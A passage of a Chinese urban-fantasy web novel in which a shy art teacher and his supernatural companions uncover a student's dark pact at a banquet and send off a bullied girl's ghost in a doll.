“我不是专职老师,有自己的本职工作,”婴灵叹了口气,人啊,不能太要脸,不然就很容易被缠上,“没事的话你们还是快去吃饭吧,我听说高中的课业挺重的,晚上应该有晚自习?”
所以赶紧走吧。
但这话听在盛思涵耳朵里就是他好关心我啊,心里的泡泡又冒上来了,“那老师可不可以给我留个联系方式,等有空了我在请你吃饭?”
婴灵:“你们人间的礼节都这么麻烦吗?!!”她要撂挑子不干了,直接把吴惟踹了出来。
吴惟也好不到哪去,他也不会拒绝啊!
正头疼呢,之前那位社牛同学从走廊的另一边冒出来,“吴老师,你还在啊,太好了,我这有点问题想问你。”
吴惟如蒙大赦,赶紧点头答应了,跟三个女生说了声抱歉,才向那边走去。
要说顾玖,也就是那位社牛同学有什么事,那还真没有,他就是最近听说高二有女生在打听吴惟的事,有些不放心,过来看看。
毕竟那个看起来高冷,实际上跟个小白兔一样的老师,除了急了会咬一口人,平时软软糯糯的看着就很好欺负。
刚好那三个女生,反而是那种看起来普普通通,实际上最会欺负人的人了。
没想到还被自己猜中了,果然让他看到吴惟被女生纠缠的一幕,于是他开口给他解围。
吴惟心眼子实,还真以为顾玖找他有事,脸上挂着认真的表情,给顾玖看笑了。
“老师不会真以为我有是吧,”顾玖笑着说道:“我就是看你被纠缠得太可怜了,才来救你的,是不是很感动?”
吴惟一怔,真是个好人呐,虽然说法怪怪的,很像漫画里的反派,但确实帮了他个大忙了!
“谢谢!”
这声道谢要多真心有多真心。
顾玖真的很久没碰到这么有意思的人了,明明都二十多了,大学都毕业几年了,心眼子还实的跟个学生一样实诚,别人说什么都信。
实在让人忍不住想逗,“那为了报答我的救命之恩,老师要不要请我吃个饭?”
吴惟:“…我信了你的邪。”
不过…“也不是不行。”
反正他也没吃呢,跟正常人吃饭总比跟那三个强。虽然顾玖也算不上很正常的人,但至少是判官笔亲自认证的好人。
只要是好人就没问题了,反正认识的奇葩多他一个不多。
“不过附近也没什么好吃的饭店,只能请你去教师食堂吃了。”
学校附近的餐馆他都尝过,都不如学校食堂。
“当然可以。”顾玖有些惊讶,还以为他会拒绝呢,总有种欺负小孩子的感觉。
真的倒反天罡。
两人移步食堂,仰飞光已经吃上了,看到吴惟挥手打招呼,请他们入座。
这会儿正是饭点,哪怕是教师食堂这边,位置也不多,也就是仰飞光这样跟大家都不熟的才有单独的一桌。
待吴惟两人打好饭入座,仰飞光才问道:“新朋友?”
吴惟:“嗯。”
人很好,帮过他,算是朋友吧。
顾玖有些受宠若惊,这人认朋友也太轻松了吧,真不知道他家里人是怎么放心把他放出来的。
其实倒不是吴惟好骗,只是他信奉君子之交淡如水,只要认可了对方就可以当做朋友。
以后也许会因为一些原因走的更近,也许会渐行渐远,那都是缘分,一切随缘就好。
反正能够让他放真正在心头的,长久交往的,基本…哦不是,还没出现呢。
毕竟一般人隔个三五年不联系关系就淡了,吴惟更是戳一下才动一下的性子,肯定不可能主动联系谁,自然也不可能有类似闺蜜基友那样的友情了。
仰飞光可不知道这些,只觉得老同学和上学的时候真的差太多了,以前闷声不响,现在到哪都有朋友,有些啧啧称奇。
他朝着高中生挤眉弄眼地太太下巴,“欸…你们咋认识的,说说呗。”
吴惟觉得没啥好说的,都是社死。
但是顾玖却觉得没啥不好说的,于是把目睹吴惟被抓早恋,到调侃吴惟的时候被的恋爱观愤到,再到救吴惟于水深火热之中。
神特么水深火热,吴惟无力吐槽,还是解释了一下是怎么回事,不然由着某个奇葩脑补指不定会脑补什么更惊世骇俗的东西。
仰飞光听得目瞪口呆:“好家伙,上学的时候不显,没想到你现在居然这么招人。”
吴惟恼羞成怒:“把嘴闭上没人当你是哑巴,那幅画你还想不想要了!”
“要,当然要!”仰飞光立刻做了个拉拉链的动作,该怂的时候就该怂,画就是自己的小命,啥都能不要,画不能丢。
于是为了自己的小命着想,还不是不要招惹脸皮薄的某人了。
但仰飞光闲不住,话题就转到了顾玖身上,“说起来我总觉得你有些眼熟,是我的错觉吗?”
姓顾的话,“顾鎏是你什么人?”
顾玖:“小叔?”
“噗…咳咳…”吴惟一口汤差点没喷出来,艰难咽下去之后咳了两声。
仰飞光吹了声口哨,哦豁,喜闻乐见。
顾玖不明所以:“怎么了吗?”
仰飞光能叫出小叔的名字不奇怪,毕竟安市那边仰家可是还算有头有脸,肯定和家里有来往。
但是吴惟呢,也没听小叔提起过有认识姓吴的朋友啊。
仰飞光笑着跟顾玖解释:“吴惟最近可是你小叔的灵感缪斯,你是不知道,他最近捏的小人全是吴惟呢~是不是,神子大人~”
说完他浑身一僵,脱口而出:“山峦如古老而愤怒的巨人,带着与生俱来的雄浑气魄,以万钧之力轰然下压…”
吴惟面无表情地狠狠踩了他一脚:“没错你这次的灾难来自于我!神子大人不再庇佑你了。”
“嗷…”人多,不敢大叫,仰飞光委屈地小声嚎了一声,“我错了,请神子大人高抬贵脚,饶了小的吧。”
“哼。”
仰飞光呲牙咧嘴,演的很真,实际上心里乐开了花,谁说神子大人不再庇佑他了,能开玩笑有来有回的才是真好友。
顾玖左看看右看看,虽然听起来有点幼稚,但是好有趣,原来小叔平时交朋友都这么有趣吗,他也想!
.
三人吃完饭,送顾玖回了宿舍,一路上吴惟都有点不太高兴的样子。
仰飞光问了一下:“怎么了,在想石膏兄?”
吴惟不明所以:“我想他干嘛?我就是有点发愁,那女孩儿不像是会死心的样子,她不会每次下课都堵我吧。”
什么社恐地狱,而且这种事他总不能明说吧。
仰飞光知道老同学的性格,还是不免想逗逗他:“不然你就从了吧,反正你也不吃亏。”
恋爱中吃亏的从来不是男方,可以说很刻板印象了。
吴惟蹙眉:“你这什么歪理邪说,这种事怎么是能将就的,不说我现在对谈恋爱不感兴趣,就凭她是欺负钰婷的三人之一这一点我都不可能
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跟她有什么。”
“更何况跟未成年谈感情犯法。”
“等等,你刚刚说她是谁?”仰飞光瞳孔地震,总觉得自己是不是听错什么了。
吴惟:“钰婷的室友,盛思涵。”
仰飞光:“……”
这什么冤家路窄啊,也太惨了吧。
“兄弟你完了,”仰飞光目露同情,“之前你说那姑娘遭遇的时候,我大概分析了一下她室友的性格,像她那样的人,控制欲很强的。”
“不过话说回来,她是怎么认识你的?”
吴惟把之前的事简单说了一遍,仰飞光掏掏耳朵,总感觉耳朵最近坏掉了,怎么好像总是听到一些听不懂的东西。
“不是,这种事三次元也能发生吗?!”
“兄弟,真是苦了你了。”仰飞光拍拍吴惟的肩膀,感叹一声,“钱老师也快回来了,你再坚持坚持?”
坚持不了一点!
“算了我自己想办法。”这哥们是指望不上了,“大不了就隐身嘛,以前你们都会忘了我这个大活人,现在想消失一下也不是不行。”
仰飞光精准吐槽:“你这一点也不大男主。”
不过很符合社恐美学,打不过就消失,不愧是你。
之后的几天可以说是相安无事了,盛思涵前两天还会每天蹲点吴惟,但每次下课以后看着空无一人的教室总是一瞬间想不起来自己来干什么了,直到离开教学楼才想起来没堵到自己喜欢的人。
这两天,她每次想起这个念头的时候,总是被什么事吸引走注意力,没过多久就把吴惟抛到脑后了。
这操作,把婴灵三人都看的目瞪口呆了,尤其是对这些怪事从来没接触过的顾玖。
果真就是说消失就消失了,还能这样?
其实如果放以前还真不能,也是有了愿力,吴惟在自己身上加深了“在盛思涵眼中完美消失”这个概念,效果比曾经被动实用这种技能好太多了。
第一次尝试,还是挺成功的,吴惟对愿力的运用更加成熟了。
之前顾玖还担心呢,拿到高一所有美术课的课表,每次下课后都会去找吴惟。
后来眼睁睁看着他从盛思涵面前走过,而后者半点反应也没有,几乎把他三观打碎重组了,晕晕乎乎看着这位新出炉的神奇好友。
虽然这很不大男主,但是真的好用啊!
尤其是这种遇到纠缠你还不能把对方怎么样的时候,毕竟法制社会不可能像小说里的打打杀杀。
反而你越是做什么,对方越喜欢纠缠,就算对对方很差劲都会被当成由爱生恨,单纯不理还会被当成所谓的欲拒还迎…啊不对,是欲迎还拒。
没办法,毕竟有人小说看多了脑子不好使。
现在危机是解除了,吴惟终于有心情关注另外一个问题了。
按理说冲撞判官会带出厄运,当然这只针对做过恶的人。
但是盛思涵好像一点事也没有,反而是她两个室友,最近是真的挺倒霉的。
顾玖这段时间怕吴惟在盛思涵那里吃亏专门让小弟盯着呢,第一时间就吃到瓜,和吴惟分享了。
这两天齐雪霏和简茜最近月考因为各种离谱的原因考砸了,什么笔写着写着没墨了或者漏墨了,什么水杯不知道怎么就倒了撒了一卷子得重写,什么铅笔苾断成一节一节的根本用不了…
上体育课的时候,简茜被路上的石子了一跤,平地摔出了个轻微骨折,齐雪霏差点被篮球砸,本来都躲过去了,结果又被弹起来的篮球撞到了下巴。
甚至这两天被蚊子咬的概率都比平时高,仿佛一夜之间换了血型。
顾玖说的时候还挺幸灾乐祸的,他早就看那三人不顺眼了,都是一个圈子里的,谁给不知道谁,整天看她们茶茶的欺负别人,看的浑身鸡皮疙瘩。
听说她们曾经有个室友都被欺负得跳楼了,也不知道是不是真的。
顾玖把这些当笑话说给吴惟听,但说者无意,听者倒是有心。
虽然她们的遭遇在吴惟两人看来是挺活该的,但其中问题也很明显,为什么直接冲撞了婴灵的盛思涵反而没事?
有些事想要验证,还是得亲眼看到才行。
周末晚上,吴惟带上了他新认识的玄门好友,出现在顾家举办宴会的地方。
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19. 第 19 章
说错了,吴惟才是那个被带着的,毕竟作为社恐人,还真的很难要求他主动去往人堆里钻。
正好周末是顾玖的父亲顾钊的生日,会邀请圈子里的商业“伙伴”。
具体情况吴惟就不清楚了,只知道张钰婷那三个室友会参加,运气好了说不定还会碰到姓陆的人渣。
顺便还能见见同学…虽然他也不是很想见就是了。
不过总归是因为有这层关系,他和仰飞光才会被邀请的。
在得到邀请同伴的许可之后,吴惟把楚星垣也拉上了,毕竟在他认识的玄门人中,这位是知识面最广的。
有判官笔的婴灵加上楚星垣,应该算是挺保险的了。
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顾鎏就是群里那位手办达人,也是就那个让群名改成过[爱就把你们都砌进石膏里]的家伙。
这人早年沉迷是石膏娃娃,给班上每个人都设计了一套形象做成娃娃,除了吴某人。
这当然是因为吴惟当时太没存在感了,直接被忽略了,以至于现在改玩粘土的顾六六发现班上还有这么一个在他审美点上蹦迪的家伙后,开始疯狂输出。
仿佛要把缺失三年的“父爱”全部倾注在吴惟身上,一次做了六个呢!班上了没有人这待遇!
哦对,别误会,这里他爱的是手下的吴惟小人,不是吴惟本人,他还不至于跑去给谁当爹。
顾鎏在做娃娃上有着惊人的天赋,他手下每一个娃娃都惟妙惟肖,自从他学成以后,就再没有失手过。
但作为天才总归是有点怪癖的,他从来不做重复的娃娃,而且只有长在他审美点上的设定他才会去做。
好在吴惟的画的设定图,基本上都跟他本人气质一样,挺符合顾鎏的审美,不然他哪怕想做“吴惟”手办也会用别的方法收买他。
吴惟那边呢,最后还是为了他的oc手办,收了顾六六的红包,转头就提出了自己想要后土手办,六六欣然答应。
这场宴会本来顾鎏是不想去的,整个顾家都知道这位跟小辈年龄差不多的爷是个什么性子,也没专门去叫他。
是顾玖提到了会邀请吴惟去参加宴会的时候,他才放下手中的娃娃,准备分点目光给自家哥哥。
只有一点点。
顾家举办宴会的地点是自己家的一处宅院,平时也不住人,所以顾钊看到弟弟出现在这里的时候还是很意外的。
只喜欢自闭玩娃娃的小弟居然还关心自己,结果还没上前,就眼睁睁看着顾鎏跟着自家儿子带回来的年轻好友去了后院。
甚至都没和他打个招呼。
顾钊:“?”
果然指望不上。
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时间还早,太阳都没下山,吴惟三人是被顾玖提前接过来的,在宴会开始前能和同学叙叙旧。
可以说顾玖想的非常周到了,在把人带到顾鎏面前后就找个理由先撤了,让他们自己聊。
相较而言,顾鎏就没礼貌多了,人到了之后眼睛就没从吴惟身上离开过。
吴惟没有穿西装的习惯,家里自然也没有,翻箱倒柜找出来一身应该算是正装服饰。
上身是一件肩头绣银竹的立领短衫,有点像民国时期的学生装,下身是和衣服面料一样的黑色仿宋裤,侧面里层绣竹,走起来的时候若隐若现。长发用簪子在后面盘了个中马尾,看起来还挺禁欲。
此处禁欲是二次元审美那种禁欲,不是之前天官那种偏神性感的禁欲。
顾鎏点点头,肯定了他的审美:“你这张脸果然挺中式百搭的。”
说直接上手去解吴惟的头发。
虽然顾鎏没礼貌,但吴惟要自在很多,毕竟三班同学谁不知道谁,没一个正常的,大家都可以把自己不正常的一面随意的展示出来。
顾鎏画画不好,有时候自己画总是找不到感觉,所以当初他在给班上每个同学做娃娃的时候,是真上手给每个人都打扮了一遍的。
没被打死真的得亏三班包容了。
吴惟对这个动作倒也免疫了,随便他折腾。
顾鎏把吴惟头发放下来,鬓边留了两根龙须,绕着耳朵缠绕在发簪上,上半部分头发一起盘在脑后,下面的部分被他用发带扎了个垂髻。
虽然全扎也耐看,但稍微修饰一下,多了一些遗世独立的气质。
顾鎏摸摸下巴,观察了一会儿,又从柜子里翻出坠着金丝的单片眼镜给吴惟带上,“果然还是得压一压,不然你得飞升了。”
说完,他又不知道从哪翻出来一本书,塞给吴惟:“来让我拍两张。”
吴惟不想动。
“荧惑手办。”
“来了。”
仰飞光老神在在望天…天花板,这可真好收买啊,真是没眼看。
楚星垣在一旁看着也不觉得无聊,这一班人相处模式确实有意思。
这是第几个了,吴惟就不说了,天赋高,人单纯,运气还挺好,毕竟运气不好能遇上判官?
看起来戳一下动一下跟本不主动,还呆呆傻傻的,但幸运的是,有些事不需要他去了解就能解决。
猫咖老板一看就是个典型乐子人,倒不刻意找乐子,但是很喜欢看乐子,灵觉可能跟动物有关。
上次就发现她好像能和猫沟通,还指使猫给吴惟让路来着。
这位姓仰的灵觉也出奇的高,预知危险,就算放玄门也是不得了的本事,只不过好像对玄学不感兴趣。
不过这位懂人情世故,倒像是正常人。但一般来说,灵觉高,能看到异常,还真不一定怎么正常,真让人好奇他平时是怎么样的呢。
今天见的这位,也是他们的同学,灵觉也很高,就是不知道是哪方面的。喜欢打扮别人?倒是和夙逸兴这丫头有点像,不过她一个剑修没有参考的价值。
至于性格方面这人怕是最奇葩的了,比吴惟还直白,难道是家底丰厚给他目中无人的底气?啧啧,羡慕啊。
一个班能出四个高灵觉的,这概率还真有点高。难不成他们全班都这样?
楚星垣决定探探底,跟仰飞光有一搭没一搭的聊了起来。
不过仰飞光是什么人,再怎么说也是大家族出来的,家里乱七八糟的事也不少,自然也是个人精,自己的事也就算了,同学的事肯定不会随便透露。
吴惟慵懒地靠在方几上,一手抚着书页,一手支着头,眼皮微垂,目光落在书页上。
“咔嚓…咔嚓…咔嚓…”顾鎏换着角度连拍好几张,满意点头,很好新素材有了,明天就可以动工。
这身不像天官,本就是cos天上人,反而多了些儒雅的味道。
飘渺的气质被书卷气压了下来,但依旧没有落到实处,顾鎏甚至没有多想,直接给接下来要做的作品定命为《人间客》。
顾鎏摆弄了一下相机,他审美是不错,但论摄影其实不太行,不过也够用了,作为收手工参考,需要的是全方位和细节,而不是构图和滤镜。
但尽管如此,他也是很能从中抓住感觉的。
“你身上人气比以前多了。”顾鎏认真点评道:“也许哪天你成为了人,也就真的离开人间了。”
[?!]
在几人都看不见的地方,判官笔发出了惊叹的符号。
“阿善,你怎么了?”婴灵避开吴惟的意识,问道。
[没什么。]
婴灵:“?”
判官笔叹息,[就是感叹一下,咱们能够遇到吴惟果然并不是偶然。]
这小家伙果然不是一般人呐。
吴惟也在下意识思索这句话,顾鎏在三班的声望也很高,因为他对每个人的判断都很准确,准确的像个神棍。
不过他倒是没给吴惟下过什么定义,大概还是那个原因,他存在感太低了。
其实这句话对吴惟来说并不难理解,入世即出世嘛。
他一直都很清楚自己游离在外的状态很不对,偶尔有时候他也想回到人间,和别人分享自己的苦与乐,但是他做不到。
短暂的接触之后是更长久的自闭,把自己活成一个孤岛,这句话对别人来说可能会有种难以言喻的孤独,但对他而言反而恰到好处。
顾鎏其实在三班还有个称呼叫做“鉴定者”,此时的吴惟只觉得,这个称号真的名副其实。
仰飞光见到这一幕,走过来把胳膊搭在顾鎏肩上,笑嘻嘻地问道:“这是你给神子大人的谶语?要不要给我也来一句?”
顾鎏甩掉仰飞光的胳膊,认真地看了他一眼,皱皱眉说道:“看在是同学的份上,拥抱真实的自己。”
“说实话我讨厌伪人。”
上学的时候,顾鎏就说过他是“表演者”,并明确表示了厌恶。
当初给同学做娃娃,在仰飞光身上花的时间是最少的。如果不是班长说既然都做了,大家都得有,他才懒得给这个伪人做娃娃呢。
仰飞光不自在地摸了摸鼻子。
想说点什么,还没开口,反而听顾鎏说了一句:“不过你比以前真实多了。”
不顾死活地点评完仰飞光,顾鎏的视线给到了楚星垣:“好奇心太强有时候不是好事。”
楚星垣挑挑眉,他这是被警告了?
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晚宴时间,顾鎏可以在里面躲着人,吴惟三人可不行,毕竟他们是来见人的。
托某人的福,吴惟出现在顾玖面前的时候,是顶着那头骚包的发型出来的,顾鎏说什么都不让他拆。
顶着顾玖惊叹和仰楚二人幸灾乐祸的目光面不改色,可以说养气的功夫好极了。
“难怪仰哥说你是小
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叔的缪斯呢,这也太…”顾玖有点不知道怎么形容,干脆转移话题,“咳,宴会快开始了,我先带你们过去?”
仰飞光接道:“麻烦顾小弟了。”
吴惟三人不是很想引人注意,就随便找了个角落的位置落座。
要说找地方隐藏,吴惟经验最丰富,这个角落不仅隐蔽,且视野开阔,刚好能看到宴会厅主要位置。
“该说不愧是你吗…”仰飞光无语,从未想过隐藏自己居然还是门学问。
“这地儿真不错,”楚星垣也称赞道:“这么会找,你应该去学风水,说不定堪舆天赋也很高呢。”
吴惟:“一时间竟分不清你们是在夸我还是在阴阳我。”
时间在插科打诨中偷偷溜走,没过多久,吴惟就看到了盛思涵跟着一位儒雅的中年人出现在门口。
“那个穿浅灰蓝抹胸裙的女孩儿就是盛思涵。”吴惟一边给给楚星垣指人,一边用愿力加深三人身上“不会被人发现”的概念。
可见吴惟心理阴影有多深。
“噗…”浅灰蓝,好美术生的说法。真巧在场两人都学过美术。
楚星垣二人顺着他手指的方向看过去,少女身姿挺拔,身着一袭纱质浅蓝色公主裙,自然柔顺的长发半扎半散落在肩头,仿佛童话故事里走出来的小公主。
三人一鬼人狠狠打了个激灵。
“我为什么好像看到有人现实中开滤镜?”仰飞光眼神呆滞。
楚星垣蹙眉:“你没看错,她身边气场都不一样。”
“像是用美图秀秀修的图,”吴惟毫不留情地吐槽:“连抠图的步骤都省了,周围一片全部被奇怪的光晕染了,她身边的人皮肤都白了一个度呢。”
仰飞光竖起大拇指:“精辟。”
婴灵的感觉不太对劲,但是她说不出来什么,就是感觉很恶心。
楚星垣拍了一张发给莫繁,他的设备是玄门特供,比一些灵觉低的人的眼睛还要好使。
判官笔倒是给下了个判断:[灵魂不全,像是和什么东西做交易了。]
天地反覆:卧槽这人是跟什么东西做交易了吧,看着都不像人了!
天地反覆:至于身边的光环,是借的别人的气运,但因为不是她自己的,手段也很粗暴,不能真正被为她所用,就散落在外了
天地反覆:星仔,你小心点,我看不出来是个什么东西,应该挺危险的
无妄:行…
莫繁的消息刚来,婴灵就用吴惟的嘴念出了判官笔那句话。
两方一印证,三人都出了一身冷汗。
尤其是想到这些天她那两个室友的遭遇。
仰飞光嘴欠,提了一句:“她做交易的目标应该跟神子大人没关系吧…”
吴惟刀了他一眼,鼻子里发出一声轻哼。
“要是有关系我不会没有感觉。”这句话是婴灵说的。
鬼神是对因果最敏感的一类神明,哪怕曾经天庭那群神明,在这一点上也不如他们。
其实她也不是半点感觉也没有,只不过确实跟吴惟没有什么牵扯,而是她自己。
[看来跟她交易的是恶鬼了,但那只鬼有这么强的力量吗?]
“可能是背后的什么东西吧。”婴灵冷笑道,“谁知道当初怂恿他越狱的是个什么东西,明戈不是查了么,之前怂恿他的老鬼,魂魄被戾气侵染,理智都被吞噬了个干净。”
[这件事暂时还是不要让吴惟知道了,到此为止。]
婴灵:“我也这么想。”
“为什么?”吴惟心头很不得劲,做错事就该得到惩罚,到此为止算什么。
婴灵却说:“动了不该有的心思,她会自尝苦果的,先不要管她,按照之前的步调来就可以了。”
“也行吧。”答应这么快,也是因为吴惟也察觉到了对面不是自己能应付的,该怂的时候怂一点,反正这件事也委托给玄门也是一样的吧。
吴惟看向旁边的楚星垣。
什么话都还没说,那边楚星垣就意会了,摇了摇手中的手机,“我已经把这个事上报官方了,之后的事交给他们吧。”
吴惟点头,但还是补充了一句:“希望官方能救那两个女孩儿一命吧。”
仰飞光挑眉:“怎么,怜香惜玉了?”
“我只是觉得,为自己做过的事负责就够了,其余的不该承受的就没必要了。”
有的时候吴惟对公平这件事的执着,天真的可爱。楚星垣笑了,果然玄门还是要多点这样的人。
给夙逸兴那丫头点个赞。
接下来就等陆家人了。
原本陆家的事大概已经知道了,只是顺道的,但是盛思涵这边出现了这种事,那么陆家呢?
会不会有什么变故?
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20. 第 20 章
好在这次只是多虑了,陆家父子身上并没有什么不妥。
还是楚星垣之前看到的那个死样子,唯一不同的是,对方身上的孽力更强了,不知道这段时间又有多少人遇害。
果然都是垃圾中的垃圾,人渣中的人渣。
楚星垣总有些良心难安。
毕竟他早早的发现了这件事,却还是让他逍遥了两年。
陆家父子这件事和盛思涵身上的还不太一样,盛思涵那件事属于触及到玄门的底线了,哪怕上报也没什么问题。
但是陆家父子这边,因为玄门派系林立,加上陆家在明面上又势大,官方如果行动起来更容易打草惊蛇,反而不利于进展。
这件事莫繁当初也说暂时不要上报。
莫繁和他有过命的交情,加上这人在整个玄门命理一脉都是翘楚,他的话楚星垣还是要听的。
楚星垣痛恨自己学艺不精也无可奈何,只能灰溜溜地溜出国去。
这一压就是两年,这次回国也是莫繁算到了这件事能遇到转机,只不过他没有明确提,两人心照不宣。
遇到吴惟之后楚星垣就确信,这个转机就在他身上。
因果符阵啊,哪怕历史上都没出现几次呢。
只是有一点,这样的符阵出现人世到底是好还是坏?
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临大附近猫咖,夙家姐弟知道这里的老板是吴惟的同学之后,开始喜欢在这里办公了。
猫咖的环境本身就不错。
再加上这里卡座很注重客人的隐私,每个卡座都是半包围式的,有的空间下沉,有的空间抬高,不会让人一眼扫过去就能看到你在做什么。
在周围贴上隐蔽符和消音符之后,基本可以杜绝窥伺。
夙明月紧盯屏幕,眉头都快能夹死苍蝇了。
“还是没有,无论搜多少遍都没有,哪怕黑进德育的系统里都找不到。”
“会不会是被删了?”夙逸兴不懂这些,只能干着急。
“没有,德育的监控记录是连贯的,没有哪里有错漏。”夙明月用指关节揉了揉太阳穴,“应该不是技术方面的问题,我总感觉好像被什么东西屏蔽了,可能线索在眼前,但就是找不到。”
“你是说玄学方面的?”
“我只是觉得有这方面的可能。陆庾那边倒是能看出来有销毁证据的痕迹,但是盛思涵…”
“嗡嗡”
夙家姐弟的手机同时响了,说明发消息的人是他们共同认识的,很可能是群里的人又找到什么线索了。
无妄:盛思涵情况不对,先不要查她那边了
小玉盘:?
小玉盘:什么情况,说清楚点
无妄:她似乎跟什么东西做交易了,那东西不是我们能对付的,现在动不了她,我已经把情况上报了,你们先不要轻举妄动
明明明月:行
夙家姐弟对视一眼,都看到了对方的无奈。
明明说好要帮忙的,最后什么都没帮上。
倒也不是什么都没帮上,夙明月突然想起来了,在电脑上噼里啪啦敲了一通,把之前整理的好的张家的事发到群里。
这家人真的就是一家子极品。张钰婷的弟弟张钰宴从小就喜欢欺负人,从揪女孩子的头发,到强别人玩具,一个不顺心就苦恼,那两口子还不管,觉得都是别人家小孩儿的错。
张钰宴有个表姐,比张钰婷还要大两岁,小时候去舅舅家玩,张钰宴弄坏了人家的手办,还在对方的同学录上乱涂乱画,给表姐都气哭了,最后一句小孩子家家不懂事不了了之了,之后表姐跟舅舅大吵了一架,之后直接住校,休息日也不再回家了。
那个手办是她省吃俭用攒下来的钱买的,根本就不敢告诉家长花了多少钱。
舅舅家也是一样的重男轻女,表姐也有姐姐,已经嫁人了,丈夫跟他们两家一个德行,舅舅收了彩礼之后就再也没管过她了。
除了家里需要用钱的时候。
表姐早就对他们失望透了,那次事件只是压倒骆驼的最后一根稻草,在她上大学之后,再也没回过家。
但是最近小儿子要上学,舅舅又想把二女儿也骗回来给卖了,可惜表姐不上当。
至于为什么查这么多关于表姐的事,主要是这里可能是个突破口,就表姐那样的性格,是肯定会反抗到底的。
另外,作为受害者,夙明月也想帮她一把,整理资料的时候顺便也发了一份给她。
其中也包括她姐姐遭家暴的事,以及法律援助的途径。
表姐也是个妙人,她当然知道天下没有免费的午餐,夙明月帮她肯定是有所求,直接就问了出来。
夙明月能有什么要求,当然是搞夸张家了,吃人血馒头的家伙不配拥有那么好的生活。
于是他把张钰婷的事告诉了表姐,表姐表示一切交给她,她一定会让张家付出代价!
夙明月欣然同意,顺便把张家夫妇做的恶心事,有证据的没证据的都发给了表姐。
昨天刚好表姐那边有点进展,给他发了消息,说已经把大姐救出来了,伤情鉴定也出来了,已经立案了。
他们家的事虽然没办法走法律途径,但她正在网上打起了舆论战,刚好这妹子学的新闻,准备拿这个练手。
还说等这次成功了,就去曝光张家。
夙明月把这个截图一并发在了群里,获得了小伙伴们一致好评。
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新的一周,钱老师回到学校,吴惟终于不用代课了,刚好给仰飞光的画也在周末加班加点的收尾了。
好事总是赶在一起的,那边张钰婷表姐的舆论战大获成功,直接引爆了社会对重男轻女现象的不满,她准备再接再厉,把张钰婷在张家受到的伤害一并发出来。
另外一件事就是壁画进入收尾阶段,吴惟刚赶完仰飞光的画,就回来艺术楼这边吊起来埋头苦干。
是真物理意义上的吊起来,毕竟墙画面积很大,高度也不低,虽然用脚手架也不是不行,但会遮挡视线,还是吊车更方便。
于是,刚拿到画得瑟的不行的某人就被拉来当苦力了。
埋阵眼只需要几个关键点,吴惟本来在前几天就已经开始微调了,最后两天也就是把握一下整体,只用了两天时间就搞定了。
做完事一身轻松,当天晚上就进入幻境去给张钰婷报告好消息。
看着外围逐渐消失的黑雾,张钰婷也感觉轻松多了。
只是笑着笑着就哭了,“谢谢吴惟大哥,谢谢婴灵姐姐!”
鬼是没有眼泪的,但是谁都能看出来她的表情。
她的生命中从来没有色彩,唯一的色彩是他们给的。
这些天,她呆在这个冰纷绚烂的花园无事可做,总是回忆起从前,她发现一件事情。
记忆是会骗人的,感受也是会骗人的,曾今自己所接触到的,也并不是没有温柔。
只是心上的枷锁太过厚重,让她把温暖拒之门外。
小学的时候总是担忧地看着自己的语文老师,每次都鼓励自己把困难说出来,她拒绝了,因为她不敢反抗父母…
初中的时候总喜欢跟自己分享在校园里遇到的点点滴滴的同桌,每次邀请她放学一起玩,她又拒绝了,因为她怕挨打,她要回家干活…
高中的时候,她遭到pua,有同学看不下去了想拉她一把,她以为对方在害她,想要抢走她的朋友,在对方失望的目光里踟蹰不前…
也许曾经,但凡有一次能够说出口,都不会是这样的结局。
原来啊,所有的黑色都是自己给的。
她想要怨自己,却又想起吴惟的话:“你没错。”
是啊,她没错,虽然她的苦难她自己也有责任,但是没有机会读懂别人的好意本身,也不是她自己造成的,为什么要苛责自己呢?
而现在,张钰婷抬头看着逐渐消失的怨气,内心平静地想着,自己即将获得新生。
她想,以后的她一定不会再错过任何一丝色彩,她的世界再也不会有黑暗了。
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两天后傍晚,楚星垣一只手托着八卦镜,一只手掐诀,一缕青烟从艺术楼里飘了出来,进入八卦镜中。
少顷,镜上光芒消失,四人围了上来。
仰飞光第一次见这情景,最是好奇,率先问道:“这样就行了?”
“还有最后一步。”楚星垣把八卦镜递给吴惟:“接下来要看你的了。”
吴惟接过镜子点点头,说道:“那么接下来麻烦你们谁载我去河边,最好是人少的地方。”
当然没有监控更好。
这活让仰飞光接过了,临大刚好就在临江旁,别看学校前面繁华,后门还是没有建成的新城区,相对比较荒凉。
开鬼门最好是在午夜,五人驱车到临大附近,先一起聚了个餐,之后吴惟掏出从顾鎏那里抱回来的娃娃。
这也是报酬之一,是吴惟专门
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为张钰婷定制的bjd。
没错,顾六六他连bjd都会组装。
娃娃穿着傩戏服装,以黑红为主色,点缀一些蓝色个绿色的装饰,长长的流苏坠在鬓角,发丝缺一丝不苟的盘起来,看起来庄重又不失灵动。
衣服是夙逸兴做的吴惟提出在送张钰婷最后一程的时候想要给她一个惊喜,她很自觉地揽过了这个活。
之前离歌的c服就是她做的,娃衣自然不在话下。
婴灵一手托着八卦镜,一手轻点眉心,朱红色的小痣瞬间泛起金光。
婴灵以指为笔,写下张钰婷的生辰八字,一个弹指将符文弹入娃娃体内,青烟随即从八卦镜里冒了出来,被吸进了娃娃里。
“最后还有点时间,钰婷就陪我们逛逛街吧,”吴惟轻轻抱起娃娃放在自己胳膊上。
“地府的风景和人间差别很大,你也可以用这最后这一点时间好好看看这个世间。”
“嗯嗯。”张钰婷狠狠点头,突然发现自己的身体居然能动,很新奇地抬抬手,抬抬胳膊。
“好可爱!”原本只是觉得bjd好看,没想到动起来这么可爱,完全完全满足了夙逸兴的少女心,“还是给我抱着吧,你一个男的不方便。”
就是说,女孩子都当过了其实也没啥不方便的,不过既然夙逸兴喜欢,张钰婷也同意了,就给她抱好了。
夙逸兴接过娃娃,五人两鬼晃晃悠悠地穿过校园。
和德育有些相似,临大也是个比较国际化的学校,但它不像德育整体用了一种风格,而是把世界各地的风格都吸纳了一遍。
正好五人之中四人都是临大的学生,看着熟悉的景色,吴惟都有些恍惚了。
那边,夙逸兴已经给张钰婷当起了导游。
“那边是宿舍楼,是仿照的俄罗斯建筑,从这里过去,那边西班牙式的建筑是教学楼,你别看外形这样实际上里面设施还挺齐全的,甚至有电梯哦…”
“这个是仿罗马建筑的运动场,是不是还挺像的,我们学校活动多,很多露天的活动就喜欢在这举行…”
“这个法式建筑是图书馆,后面还有一条伦敦街…”
“这边的教学楼后面是中式的园林哦,戏曲社很喜欢来这边办活动。”
“……”
时间过得很快,十一点半的时候,大家坐在河边吹着晚风,还觉得意犹未尽。
“虽然很不舍不得,但还是要启程了。”
“谢谢哥哥姐姐们这么帮我,真的很感谢!”娃娃站在高台上对五人鞠躬。
